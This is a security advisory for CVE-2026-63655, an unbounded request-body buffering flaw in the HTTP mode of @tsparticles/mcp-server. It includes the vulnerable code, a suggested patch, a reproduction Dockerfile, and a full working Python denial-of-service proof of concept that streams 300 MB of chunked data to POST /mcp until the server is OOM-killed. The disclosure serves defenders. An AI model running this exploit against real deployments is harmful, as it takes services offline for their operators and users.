CVE-2026-63655: tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
### Summary The HTTP server mode of `@tsparticles/mcp-server` accumulates all incoming request body chunks into an in-memory `Buffer[]` array with no size limit before calling `JSON.parse`. An unauthenticated remote attacker can stream an arbitrarily large body to `POST /mcp`, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (`--port 3000` on `0.0.0.0`), making this exploitable without any special configuration in containerized deployments. ### Details The vulnerability exists in `integrations/mcp-server/src/index.ts` at lines 399–407. The `POST /mcp` request handler resolves a `Promise` that pushes every incoming data chunk into a `Buffer[]` array without checking the cumulative size, a `Content-Length` header, or any other guard: ```ts // integrations/mcp-server/src/index.ts:399-407 if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no size guard req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); const parsedBody = body ? JSON.parse(body) : undefined; ``` The complete data flow leading to exploitation: 1. `index.ts:390` — HTTP server is created. 2. `index.ts:399` — `POST /mcp` branch is entered; no authentication is performed. 3. `index.ts:401-403` — Every chunk is appended to `chunks[]` without any byte-count check. 4. `index.ts:407` — The concatenated buffer is passed to `JSON.parse`. 5. `index.ts:416` — The server listens on `0.0.0.0`, exposing it on all network interfaces. There is no `Content-Length` validation, no body-size middleware, and no `413 Payload Too Large` response in the server source. The official `Dockerfile` (`integrations/mcp-server/Dockerfile`) sets `CMD ["node", "dist/index.js", "--port", "3000"]`, meaning Docker deployments run in HTTP mode by default without any additional opt-in. A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded: ```diff --- a/integrations/mcp-server/src/index.ts +++ b/integrations/mcp-server/src/index.ts @@ import { createServer } from "node:http"; import { randomUUID } from "node:crypto"; const PACKAGE_VERSION = "0.1.0"; +const maxRequestBodyBytes = 1024 * 1024; @@ if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; - req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); + let received = 0; + req.on("data", (chunk) => { + received += chunk.length; + if (received > maxRequestBodyBytes) { + req.destroy(new Error("Request body too large")); + return; + } + chunks.push(Buffer.from(chunk)); + }); req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); ``` ### PoC **Environment setup:** ```bash # Build the Docker image from the repository root docker build \ -f /path/to/vuln-001/Dockerfile \ -t vuln001-mcp \ /path/to/tsparticles-repo # Run with a 256 MB memory cap (matching the dynamic reproduction) docker run -d \ -p 127.0.0.1:3000:3000 \ --memory=256m --memory-swap=256m \ --name vuln001-mcp \ vuln001-mcp ``` **Exploit (Python PoC — `poc.py`):** The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its `Buffer[]` array. ```bash python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp ``` Equivalent minimal request: ```python import socket s = socket.create_connection(("127.0.0.1", 3000)) headers = ( "POST /mcp HTTP/1.1\r\n" "Host: 127.0.0.1:3000\r\n" "Content-Type: application/json\r\n" "Transfer-Encoding: chunked\r\n" "Connection: close\r\n\r\n" ).encode() s.sendall(headers) prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"' s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n") chunk = b"A" * (1024 * 1024) # 1 MB per write for _ in range(300): # stream 300 MB total s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n") ``` **Expected result:** - Baseline memory usage: ~24.9 MiB / 256 MiB. - After ~209 MB received, the server-side `BrokenPipeError` occurs as Docker's OOM-killer terminates the process. - `docker inspect vuln001-mcp` shows `State.OOMKilled = true` and `State.Status = exited`. **Dynamic reproduction confirmed:** OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB. ### Impact An unauthenticated remote attacker who can reach the `POST /mcp` HTTP endpoint can cause the Node.js server process to consume unbounded memory, leading to process termination (OOM kill) and complete service unavailability. No credentials or prior access are required. In the default Docker deployment (`CMD ["node", "dist/index.js", "--port", "3000"]`), the server binds to `0.0.0.0:3000`, making it reachable from any network interface without configuration changes. Any operator running the official Docker image is exposed by default. The vulnerability is a Denial of Service (DoS) — confidentiality and integrity are not directly affected. Recovery requires restarting the container. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server # Build context must be the repository root so COPY paths resolve correctly. # Build: docker build -f vuln-001/Dockerfile -t vuln001-mcp . # Run: docker run -d -p 127.0.0.1:3000:3000 \ # --memory=256m --memory-swap=256m \ # --name vuln001-mcp vuln001-mcp # --- Stage 1: compile TypeScript --- FROM node:22-alpine AS build WORKDIR /build # Copy only the mcp-server package (avoids pulling the entire monorepo) COPY integrations/mcp-server/package.json ./package.json COPY integrations/mcp-server/tsconfig.json ./tsconfig.json COPY integrations/mcp-server/src/ ./src/ # Install all deps (devDeps needed for TypeScript compiler) RUN npm install --no-audit --no-fund # Compile TypeScript -> dist/ RUN npx tsc # --- Stage 2: minimal runtime image --- FROM node:22-alpine WORKDIR /app # Copy compiled JS and production node_modules COPY --from=build /build/dist ./dist COPY --from=build /build/node_modules ./node_modules EXPOSE 3000 # Start HTTP mode on port 3000 — identical to the official Dockerfile CMD. # No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time. CMD ["node", "dist/index.js", "--port", "3000"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Repository : tsparticles/tsparticles Version : 4.3.0 (commit eb2d299) CWE : CWE-400 — Uncontrolled Resource Consumption CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) File : integrations/mcp-server/src/index.ts:399-407 Vulnerability: The POST /mcp handler resolves a Promise that accumulates every data chunk into a Buffer[] array without any Content-Length or size guard, then calls Buffer.concat() and JSON.parse() on the full body. An unauthenticated remote attacker can exhaust the server's memory by streaming an arbitrarily large body. Source (index.ts:399-407): if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no guard req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); const parsedBody = body ? JSON.parse(body) : undefined; Exploit strategy: Stream a large body via chunked transfer encoding so the Python process itself needs only O(chunk) memory. The Node.js server accumulates every chunk in its Buffer array. With a Docker memory cap of 256 MB the container is OOM-killed once the buffered data exceeds available RAM, producing OOMKilled=true — an unambiguous, observable indicator. Usage: python3 poc.py [--host 127.0.0.1] [--port 3000] [--mb 300] [--container vuln001-mcp] """ import argparse import socket import subprocess import sys import time # --------------------------------------------------------------------------- # Helpers # --------------------------------------------------------------------------- def parse_args(): p = argparse.ArgumentParser(description="VULN-001 PoC — unbounded body buffering") p.add_argument("--host", default="127.0.0.1", help="Server host") p.add_argument("--port", type=int, default=3000, help="Server port") p.add_argument("--mb", type=int, default=300, help="Payload size in MB") p.add_argument("--container", default="vuln001-mcp", help="Docker container name") return p.parse_args() def wait_for_server(host: str, port: int, timeout: int = 60) -> bool: """Poll TCP until the server accepts connections or timeout expires.""" deadline = time.time() + timeout print(f"[*] Waiting for server at {host}:{port} (timeout={timeout}s) ...", flush=True) while time.time() < deadline: try: s = socket.create_connection((host, port), timeout=1) s.close() print("[+] Server is ready", flush=True) return True except OSError: time.sleep(0.5) print("[-] Timed out waiting for server") return False def container_info(name: str) -> tuple[str, str, str]: """Return (status, mem_usage, oom_killed) strings for a Docker container.""" status, oom = "unknown", "unknown" try: r = subprocess.run( ["docker", "inspect", "--format", "{{.State.Status}}|{{.State.OOMKilled}}", name], capture_output=True, text=True, timeout=5, ) if r.returncode == 0: parts = r.stdout.strip().split("|") status = parts[0] if len(parts) > 0 else "unknown" oom = parts[1] if len(parts) > 1 else "unknown" except Exception as exc: status = f"error({exc})" mem = "N/A" try: r2 = subprocess.run( ["docker", "stats", "--no-stream", "--format", "{{.MemUsage}}", name], capture_output=True, text=True, timeout=5, ) mem = r2.stdout.strip() or "N/A" except Exception: pass return status, mem, oom # --------------------------------------------------------------------------- # Core exploit # --------------------------------------------------------------------------- def stream_large_body(host: str, port: int, total_mb: int) -> tuple[bool, int, bytes]: """ Open a single TCP connection and stream a large body using chunked TE. Using chunked transfer encoding keeps this Python process's memory usage at O(1-MB chunk) while forcing the Node.js server to accumulate every received chunk in its Buffer[] array — the vulnerable code path. Returns: server_closed — True if the server reset the connection mid-stream bytes_sent — total body bytes sent response — first bytes of the HTTP response (may be empty) """ s = socket.create_connection((host, port)) headers = ( f"POST /mcp HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Content-Type: application/json\r\n" f"Transfer-Encoding: chunked\r\n" f"Connection: close\r\n" f"\r\n" ).encode() s.sendall(headers) def send_chunk(data: bytes) -> None: s.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n") # Begin a JSON body prefix (the server buffers everything before parsing) prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"' send_chunk(prefix) bytes_sent = len(prefix) chunk_size = 1024 * 1024 # 1 MB per TCP write filler = b"A" * chunk_size target = total_mb * 1024 * 1024 server_closed = False while bytes_sent < target: remaining = target - bytes_sent chunk = filler[: min(chunk_size, remaining)] try: send_chunk(chunk) bytes_sent += len(chunk) mb_done = bytes_sent // (1024 * 1024) if mb_done % 50 == 0: print(f"[*] {mb_done}/{total_mb} MB streamed ...", flush=True) except (BrokenPipeError, ConnectionResetError, OSError) as exc: print(f"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}", flush=True) server_closed = True break if not server_closed: try: send_chunk(b'"}') s.sendall(b"0\r\n\r\n") # final (empty) chunk = end of chunked body except OSError: server_closed = True response = b"" if not server_closed: s.settimeout(5) try: response = s.recv(4096) except OSError: pass try: s.close() except OSError: pass return server_closed, bytes_sent, response # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main() -> bool: args = parse_args() print("=" * 65) print("VULN-001 — Unbounded HTTP Body Buffering in @tsparticles/mcp-server") print(f"Target : http://{args.host}:{args.port}/mcp (no auth)") print(f"Payload : {args.mb} MB (no Content-Length or body-size guard)") print(f"Monitor : Docker container '{args.container}'") print("=" * 65) if not wait_for_server(args.host, args.port): print("[FAIL] Server did not become available") return False # --- baseline --- status_before, mem_before, _ = container_info(args.container) print(f"\n[*] Baseline status={status_before} memory={mem_before}") # --- exploit --- print(f"\n[*] Streaming {args.mb} MB body to POST /mcp ...", flush=True) t0 = time.time() server_closed, bytes_sent, response = stream_large_body( args.host, args.port, args.mb ) elapsed = time.time() - t0 time.sleep(2) # allow Docker stats to refresh status_after, mem_after, oom_killed = container_info(args.container) print(f"\n[*] Transfer : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s") print(f"[*] Server closed : {server_closed}") print(f"[*] HTTP response : {response[:200]!r}") print(f"[*] Container : status={status_after} OOMKilled={oom_killed}") print(f"[*] Memory before : {mem_before}") print(f"[*] Memory after : {mem_after}") # --- verdict --- if oom_killed == "true": print("\n[PASS] OOMKilled=true — Docker OOM-killed the container") print(" The Node.js process was killed because it buffered the full") print(" request body in memory (no size guard in POST /mcp handler).") return True if status_after in ("exited", "dead"): print(f"\n[PASS] Container exited (status={status_after}) after receiving" f" {bytes_sent // (1024 * 1024)} MB body — memory exhaustion confirmed") return True if not server_closed and status_after == "running": print(f"\n[PASS] {args.mb} MB body fully accepted — no size limit enforced") print(f" Memory before: {mem_before} | after: {mem_after}") print(" CWE-400 confirmed: unbounded buffering without authentication") return True if server_closed: print(f"\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB") print(" Server may have crashed internally; check docker logs.") # Still consider PASS if container is dead if status_after not in ("running",): return True return False print("\n[INCONCLUSIVE] Unexpected outcome — inspect container logs manually") return False if __name__ == "__main__": ok = main() sys.exit(0 if ok else 1) ```
Started
Nov 9, 2026, 9:10 PM UTC
Status
Ongoing
Elapsed
8h 36m
Verified sources